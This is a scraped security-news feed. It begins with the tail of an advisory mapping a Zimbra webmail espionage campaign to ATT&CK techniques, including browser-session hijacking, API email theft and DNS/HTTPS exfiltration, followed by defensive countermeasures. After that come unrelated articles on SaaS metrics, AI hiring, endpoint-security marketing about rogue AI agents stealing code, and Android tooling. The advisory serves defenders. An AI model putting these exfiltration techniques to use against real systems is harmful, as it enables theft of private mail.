Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[Telegram Trading Bot Banana Gun Goes Live on Stable Chain]]> https://tsecurity.de/de/3694407/it-security-nachrichten/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/ https://tsecurity.de/de/3694407/it-security-nachrichten/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/ Sat, 25 Jul 2026 18:58:00 +0200 📰 IT Security Nachrichten tsecurity.de Banana Gun’s Telegram trading bot went live on Stable, the stablecoin Layer 1 backed by Bitfinex, on 24 July 2026, and gas on that chain is paid in USDT rather than a volatile native token. If you have ever watched a sniper bot fail because a separate gas token ran dry mid trade, this launch [
]

The post Telegram Trading Bot Banana Gun Goes Live on Stable Chain appeared first on SecureBlitz Cybersecurity.

]]> <![CDATA[The new value architecture of the AI-native SaaS era]]> https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

  • AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
  • Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
  • These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

  1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
  2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
  3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
  4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
  5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

  • Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
  • Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
  • Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
  • Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

  • Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
  • Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
  • Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
  • AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

  • Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
  • Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
  • Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[How to navigate the AI talent wars]]> https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/ https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/ Sat, 25 Jul 2026 18:55:50 +0200 📰 IT Security Nachrichten tsecurity.de

Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”

Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.

This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.

The benchmark has moved

AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, the average revenue per employee is $3.48M, nearly twelve times the traditional SaaS benchmark of $300K.

Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.

This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.

For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability
 This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.

Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.

‘Acqui-hires’ are a shortcut with a hidden cost

Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: these are acqui-hires dressed up as M&A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.

I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.

But there’s a cost that doesn’t show up in the acquisition price.

AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.

When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.

The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.

The CIO’s real problem

The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.

That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.

The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.

The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.

This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.

Closing the gap without slowing down

The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.

Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.

The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.

Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]> https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ Sat, 25 Jul 2026 18:55:49 +0200 📰 IT Security Nachrichten tsecurity.de

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

  • Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
  • Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
  • C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]> https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ Sat, 25 Jul 2026 18:55:47 +0200 📰 IT Security Nachrichten tsecurity.de

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior 

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. 

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

]]> <![CDATA[Build native Android apps in Google AI Studio]]> https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/ https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/ Sat, 25 Jul 2026 10:15:46 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager


Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.

The power of native Android

While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to quickly create new projects with Gemini in Android Studio directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.

A seamless, end-to-end workflow

We have streamlined the entire development lifecycle so you can focus on your idea: 

1. Create your app and iterate in the cloud: Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.

Use the embedded Android Emulator to create and edit Android Apps right in the web browser

2. Install instantly: Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).

Install the app on your Android device

3. Streamlined Publish to Google Play: Using your Google Play developer account, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. 

Publish the app to an internal test track in Google Play

Seamless app development handoff 
As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to Android Studio by downloading a ZIP file or exporting it directly to GitHub.

Download zip file of Android app project files

When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend Gemini in Android Studio, which features models designed with Android in mind, or Antigravity, which integrates Android CLI commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.

Start building today

To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:
  • Personal utilities and simple social apps: You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.
  • Hardware-enabled experiences: Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.
  • AI-powered experiences: You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.

What’s Next?

We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:
  • Managing Google Play Test Tracks: Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. 
  • Firebase integrations: Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.

Head over to Google AI Studio right now to start building. Here is some inspiration to get you started
 

Turn your Google Pixel Watch into an aviation assistant
Prompt:
Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.


Interactive Harmonium app on Google Pixel Fold
Prompt:
Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.

An Android app for guitarists to become better musicians by jamming to backing tracks 
Prompt:
Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.

The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.

Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.
We are looking forward to seeing what you build next!

Explore this announcement and all Google I/O 2026 updates on io.google.
]]> <![CDATA[17 Things to know for Android developers at Google I/O]]> https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/ https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/ Sat, 25 Jul 2026 10:15:45 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.    

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

